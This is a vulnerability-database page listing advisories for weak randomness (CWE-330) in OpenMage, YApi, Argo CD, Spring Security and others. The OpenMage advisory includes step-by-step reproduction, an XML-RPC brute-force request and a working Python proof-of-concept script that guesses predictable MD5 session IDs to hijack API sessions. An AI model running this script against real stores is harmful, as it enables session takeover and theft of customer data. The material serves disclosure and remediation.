CWE-330
DiscouragedUse of Insufficiently Random Values
Abstraction: Class · Status: Stable
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
445 vulnerabilities reference this CWE, most recent first.
GHSA-2CWR-GCF9-PVXR
Vulnerability from github – Published: 2026-05-05 19:35 – Updated: 2026-05-15 23:48Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)
Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method
Summary
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
All inputs to the MD5 hash are time-derived and non-secure:
| Input | Value | Predictability |
|---|---|---|
time() |
Unix timestamp (seconds) | Fully predictable |
uniqid('', true) prefix |
sprintf('%08x%05x', $sec, $usec/10) |
Highly predictable via network timing |
uniqid('', true) suffix |
php_combined_lcg() decimal float |
Process-state dependent (getpid() ^ time()) |
$sessionName |
null (empty) — called without arg |
Constant |
Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.
Technical Analysis
Code Path
POST /api/xmlrpc/ → login(username, apiKey)
→ Mage_Api_Model_Session::login()
→ $session->init('api', 'api')
→ Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
# $sessionName is NOT forwarded to start()
→ Mage_Api_Model_Session::start() ← NO $sessionName argument
# $sessionName = null inside start()
$this->_currentSessId = md5(time() . uniqid('', true) . null)
Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).
Live Evidence
Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):
Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118)
The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.
Steps to Reproduce (Online Brute-Force Scenario)
Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.
Step 1 – Record Login Timestamp
An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.
Step 2 – Generate Candidate Pool
The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).
$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants
Step 3 – API Brute-Force (Session Hijack)
Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.
POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
<methodName>[magento.info](http://magento.info/)</methodName>
<params>
<param><value><string>CANDIDATE_SESSION_ID</string></value></param>
</params>
</methodCall>
A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.
Impact
Technical Impact
Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:
- Full product catalog read/write (catalog_product.*)
- Customer data read (customer.list, customer.info)
- Order manipulation (sales_order.*)
Inventory control (cataloginventory_stock_item.*)
Business Impact
- Data Exfiltration: Read all customer PII, order history, and payment methods.
- Order Fraud: Create or cancel orders, change shipping addresses.
- Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.
Affected API Protocols
The same vulnerable Session.php generation logic is shared across all legacy API surfaces:
- XML-RPC: /api/xmlrpc/
- SOAP v1: /api/soap/
- SOAP v2: /api/v2_soap/
- REST (legacy): /api/rest/
Recommended Fix
Replace the time-derived token with a cryptographically secure random value:
// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);
// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output
random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.
I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment
I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):
#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()
if len(sys.argv) < 4:
sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")
url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)
print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')
if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
sys.exit("[-] Login failed. Check credentials.")
print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)
print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
try: return sid if "faultCode" not in req(payload).text else None
except: return None
with ThreadPoolExecutor(max_workers=th) as ex:
for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
if sid := f.result():
print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
ex.shutdown(wait=False, cancel_futures=True)
break
This is an AI-generated report validated by a human.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.17.0"
},
"package": {
"ecosystem": "Packagist",
"name": "openmage/magento-lts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42155"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-331",
"CWE-338"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T19:35:56Z",
"nvd_published_at": "2026-05-15T17:16:46Z",
"severity": "CRITICAL"
},
"details": "Affected Version: OpenMage LTS \u2264 20.16.0 (confirmed on `20.16.0`)\n\nAffected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` \u2013 `start()` method\n\n\n## Summary\n\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n\n```php\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n```\nAll inputs to the MD5 hash are time-derived and non-secure:\n\n| Input | Value | Predictability |\n|----------------------------|---------------------------------------------------|----------------------------------------|\n| `time()` | Unix timestamp (seconds) | Fully predictable |\n| `uniqid(\u0027\u0027, true) prefix` | `sprintf(\u0027%08x%05x\u0027, $sec, $usec/10)` | Highly predictable via network timing |\n| `uniqid(\u0027\u0027, true) suffix` | `php_combined_lcg()` decimal float | Process-state dependent (`getpid() ^ time()`) |\n| `$sessionName` | `null` (empty) \u2014 called without arg | Constant |\n\nBecause the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of \u2265 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.\n\n\n\n## Technical Analysis\n\n### Code Path\n\n```\nPOST /api/xmlrpc/ \u2192 login(username, apiKey)\n \u2192 Mage_Api_Model_Session::login()\n \u2192 $session-\u003einit(\u0027api\u0027, \u0027api\u0027)\n \u2192 Mage_Api_Model_Session::init($namespace=\u0027api\u0027, $sessionName=\u0027api\u0027)\n # $sessionName is NOT forwarded to start()\n \u2192 Mage_Api_Model_Session::start() \u2190 NO $sessionName argument\n # $sessionName = null inside start()\n $this-\u003e_currentSessId = md5(time() . uniqid(\u0027\u0027, true) . null)\n\n```\n\nNote: `init()` receives `$sessionName=\u0027api\u0027` but invokes `$this-\u003estart()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid(\u0027\u0027, true))`.\n\n## Live Evidence\nFive consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec= 1775817593`):\n```\nSample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec \u2248 464631)\nSample 2: 39b4ec42bd3c389312e500690daeb349 (usec \u2248 497215)\nSample 3: 527662d79f7fb499597a82d80d170a88 (usec \u2248 535175)\nSample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec \u2248 568838)\nSample 5: 5bdf27e5cb877c77b8965b008548edfa (usec \u2248 600118)\n```\nThe \u00b5second portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n\u003cimg width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" /\u003e\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 \u2013 Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 \u2013 Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf(\u0027%08x%05x\u0027, $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 \u2013 API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmethodCall\u003e\n \u003cmethodName\u003e[magento.info](http://magento.info/)\u003c/methodName\u003e\n \u003cparams\u003e\n \u003cparam\u003e\u003cvalue\u003e\u003cstring\u003eCANDIDATE_SESSION_ID\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\n \u003c/params\u003e\n\u003c/methodCall\u003e\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n\u003cimg width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" /\u003e\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this-\u003e_currentSessId = md5(time() . uniqid(\u0027\u0027, true) . $sessionName);\n\n// AFTER (secure):\n$this-\u003e_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) \u003c 4:\n sys.exit(f\"Usage: {sys.argv[0]} \u003curl\u003e \u003cuser\u003e \u003cpass\u003e [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) \u003e 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f\u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003elogin\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{usr}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{pwd}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e\u0027)\n\nif not (m := re.search(r\u0027\u003cstring\u003e([a-f0-9]{32})\u003c/string\u003e\u0027, res.text)):\n sys.exit(\"[-] Login failed. Check credentials.\")\n\nprint(f\"[+] Authenticated.\\n[*] Generating 1000 candidate MD5 pool...\")\ncands = [hashlib.md5(f\"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}\".encode()).hexdigest() for _ in range(999)]\ncands.append(m.group(1))\nrandom.shuffle(cands)\n\nprint(f\"[*] Brute-forcing API with {th} threads...\")\ndef test(sid):\n payload = f\u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003eresources\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{sid}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e\u0027\n try: return sid if \"faultCode\" not in req(payload).text else None\n except: return None\n\nwith ThreadPoolExecutor(max_workers=th) as ex:\n for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):\n sys.stdout.write(f\"\\r[*] Requests: {i}/{len(cands)}\")\n if sid := f.result():\n print(f\"\\n[+] HIJACK SUCCESS! Valid Session ID: {sid}\")\n ex.shutdown(wait=False, cancel_futures=True)\n break\n```\n\nThis is an AI-generated report validated by a human.",
"id": "GHSA-2cwr-gcf9-pvxr",
"modified": "2026-05-15T23:48:40Z",
"published": "2026-05-05T19:35:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42155"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenMage/magento-lts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Magento LTS has Weak API Session ID \u2014 Predictable MD5 of Time-Derived Inputs"
}
GHSA-2H3H-VW8R-82RP
Vulnerability from github – Published: 2021-03-26 16:49 – Updated: 2021-07-22 15:58Weak JSON Web Token (JWT) signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has been patched in version 1.9.3.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "npm",
"name": "yapi-vendor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-27884"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-26T16:48:44Z",
"nvd_published_at": "2021-03-01T23:15:00Z",
"severity": "MODERATE"
},
"details": "Weak JSON Web Token (JWT) signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users\u0027 JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has been patched in version 1.9.3.",
"id": "GHSA-2h3h-vw8r-82rp",
"modified": "2021-07-22T15:58:18Z",
"published": "2021-03-26T16:49:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27884"
},
{
"type": "WEB",
"url": "https://github.com/YMFE/yapi/issues/2117"
},
{
"type": "WEB",
"url": "https://github.com/YMFE/yapi/issues/2263"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-228-YMFE-yapi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Weak JSON Web Token in yapi-vendor"
}
GHSA-2M5C-4CCV-XPR3
Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59Pivotal Operations Manager, versions 2.1 prior to 2.1.6 and 2.0 prior to 2.0.15 and 1.12 prior to 1.12.22, contains a static Linux Random Number Generator (LRNG) seed file embedded in the appliance image. An attacker with knowledge of the exact version and IaaS of a running OpsManager could get the contents of the corresponding seed from the published image and therefore infer the initial state of the LRNG.
{
"affected": [],
"aliases": [
"CVE-2018-11045"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-11T20:29:00Z",
"severity": "MODERATE"
},
"details": "Pivotal Operations Manager, versions 2.1 prior to 2.1.6 and 2.0 prior to 2.0.15 and 1.12 prior to 1.12.22, contains a static Linux Random Number Generator (LRNG) seed file embedded in the appliance image. An attacker with knowledge of the exact version and IaaS of a running OpsManager could get the contents of the corresponding seed from the published image and therefore infer the initial state of the LRNG.",
"id": "GHSA-2m5c-4ccv-xpr3",
"modified": "2022-05-14T02:59:43Z",
"published": "2022-05-14T02:59:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11045"
},
{
"type": "WEB",
"url": "https://pivotal.io/security/cve-2018-11045"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M7H-86QQ-FP4V
Vulnerability from github – Published: 2022-06-21 20:03 – Updated: 2022-06-21 20:03Impact
All versions of Argo CD starting with v0.11.0 are vulnerable to a variety of attacks when an SSO login is initiated from the Argo CD CLI or UI. The vulnerabilities are due to the use of insufficiently random values in parameters in Oauth2/OIDC login flows. In each case, using a relatively-predictable (time-based) seed in a non-cryptographically-secure pseudo-random number generator made the parameter less random than required by the relevant spec or by general best practices. In some cases, using too short a value made the entropy even less sufficient. (The specific weak parameters are listed in the References section.)
The attacks on login flows which are meant to be mitigated by these parameters are difficult to accomplish but can have a high impact (potentially granting an attacker admin access to Argo CD). The CVSS for this Security Advisory assumes the worst-case scenario.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
- v2.4.1
- v2.3.5
- v2.2.10
- v2.1.16
Workarounds
There are no workarounds. You must upgrade to a patched version to resolve the vulnerability.
References
These are the insufficiently-random parameters:
- (since 0.11.0) The
stateparameter generated by theargocd logincommand for Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy required in the spec. This parameter is a "recommended" part of the Oauth2 flow and helps protect against cross-site request forgery attacks. - (since 1.7.2, when PKCE was added) The
code_verifierparameter generated by theargocd logincommand for Oauth2+PKCE login used a non-cryptographically secure source of entropy. The attacks mitigated by PKCE are complex but have been observed in the wild. - (since 0.11.0) The
stateparameter generated by the Argo CD API server during a UI-initiated Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy required in the spec. This parameter is a "recommended" part of the Oauth2 flow and helps protect against cross-site request forgery attacks. - (since 0.11.0) The
nonceparameter generated by the Argo CD API server during a UI-initiated Oauth2 implicit flow login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide sufficient entropy. This parameter is a required part of the OIDC implicit login flow and helps protect against replay attacks.
Credits
Originally discovered by @jgwest. @jannfis and @crenshaw-dev re-discovered the vulnerability when reviewing notes from ADA Logics' security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.4.0"
]
}
],
"aliases": [
"CVE-2022-31034"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T20:03:23Z",
"nvd_published_at": "2022-06-27T19:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAll versions of Argo CD starting with v0.11.0 are vulnerable to a variety of attacks when an SSO login is initiated from the Argo CD CLI or UI. The vulnerabilities are due to the use of insufficiently random values in parameters in Oauth2/OIDC login flows. In each case, using a relatively-predictable (time-based) seed in a non-cryptographically-secure pseudo-random number generator made the parameter less random than required by the relevant spec or by general best practices. In some cases, using too short a value made the entropy even less sufficient. (The specific weak parameters are listed in the References section.)\n\nThe attacks on login flows which are meant to be mitigated by these parameters are difficult to accomplish but can have a high impact (potentially granting an attacker admin access to Argo CD). The CVSS for this Security Advisory assumes the worst-case scenario.\n\n### Patches\n\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v2.4.1\n* v2.3.5\n* v2.2.10\n* v2.1.16\n\n### Workarounds\n\nThere are no workarounds. You must upgrade to a patched version to resolve the vulnerability.\n\n### References\n\nThese are the insufficiently-random parameters:\n\n1. (since 0.11.0) The [`state` parameter](https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.1) generated by the `argocd login` command for Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy [required in the spec](https://datatracker.ietf.org/doc/html/rfc6749#section-10.10). This parameter is a \"recommended\" part of the Oauth2 flow and helps protect against cross-site request forgery attacks.\n2. (since 1.7.2, when PKCE was added) The [`code_verifier` parameter](https://datatracker.ietf.org/doc/html/rfc7636#section-4.1) generated by the `argocd login` command for Oauth2+PKCE login used a non-cryptographically secure source of entropy. The attacks mitigated by PKCE [are complex but have been observed in the wild](https://datatracker.ietf.org/doc/html/rfc7636#section-1).\n3. (since 0.11.0) The [`state` parameter](https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.1) generated by the Argo CD API server during a UI-initiated Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy [required in the spec](https://datatracker.ietf.org/doc/html/rfc6749#section-10.10). This parameter is a \"recommended\" part of the Oauth2 flow and helps protect against cross-site request forgery attacks.\n4. (since 0.11.0) The [`nonce` parameter](https://openid.net/specs/openid-connect-core-1_0.html#ImplicitAuthRequest) generated by the Argo CD API server during a UI-initiated Oauth2 implicit flow login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide sufficient entropy. This parameter is a required part of the OIDC implicit login flow and helps protect against replay attacks.\n\n### Credits\n\nOriginally discovered by @jgwest. @jannfis and @crenshaw-dev re-discovered the vulnerability when reviewing notes from ADA Logics\u0027 security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n",
"id": "GHSA-2m7h-86qq-fp4v",
"modified": "2022-06-21T20:03:23Z",
"published": "2022-06-21T20:03:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-2m7h-86qq-fp4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31034"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/commit/17f7f4f462bdb233e1b9b36f67099f41052d8cb0"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Insecure entropy in Argo CD\u0027s PKCE/Oauth2/OIDC params"
}
GHSA-2P4X-3PFM-QG42
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44A door-unlocking issue was discovered on Software House iStar Ultra devices through 6.5.2.20569 when used in conjunction with the IP-ACM Ethernet Door Module. The communications between the IP-ACM and the iStar Ultra is encrypted using a fixed AES key and IV. Each message is encrypted in CBC mode and restarts with the fixed IV, leading to replay attacks of entire messages. There is no authentication of messages beyond the use of the fixed AES key, so message forgery is also possible.
{
"affected": [],
"aliases": [
"CVE-2017-17704"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-31T02:29:00Z",
"severity": "HIGH"
},
"details": "A door-unlocking issue was discovered on Software House iStar Ultra devices through 6.5.2.20569 when used in conjunction with the IP-ACM Ethernet Door Module. The communications between the IP-ACM and the iStar Ultra is encrypted using a fixed AES key and IV. Each message is encrypted in CBC mode and restarts with the fixed IV, leading to replay attacks of entire messages. There is no authentication of messages beyond the use of the fixed AES key, so message forgery is also possible.",
"id": "GHSA-2p4x-3pfm-qg42",
"modified": "2022-05-13T01:44:27Z",
"published": "2022-05-13T01:44:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17704"
},
{
"type": "WEB",
"url": "https://systemoverlord.com/2017/12/18/cve-2017-17704-broken-cryptography-in-istar-ultra-ip-acm-by-software-house.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2PPP-9496-P23Q
Vulnerability from github – Published: 2020-06-15 19:34 – Updated: 2021-06-09 20:15Spring Security versions 5.3.x prior to 5.3.2, 5.2.x prior to 5.2.4, 5.1.x prior to 5.1.10, 5.0.x prior to 5.0.16 and 4.2.x prior to 4.2.16 use a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.3.0"
},
{
"fixed": "5.3.2"
}
],
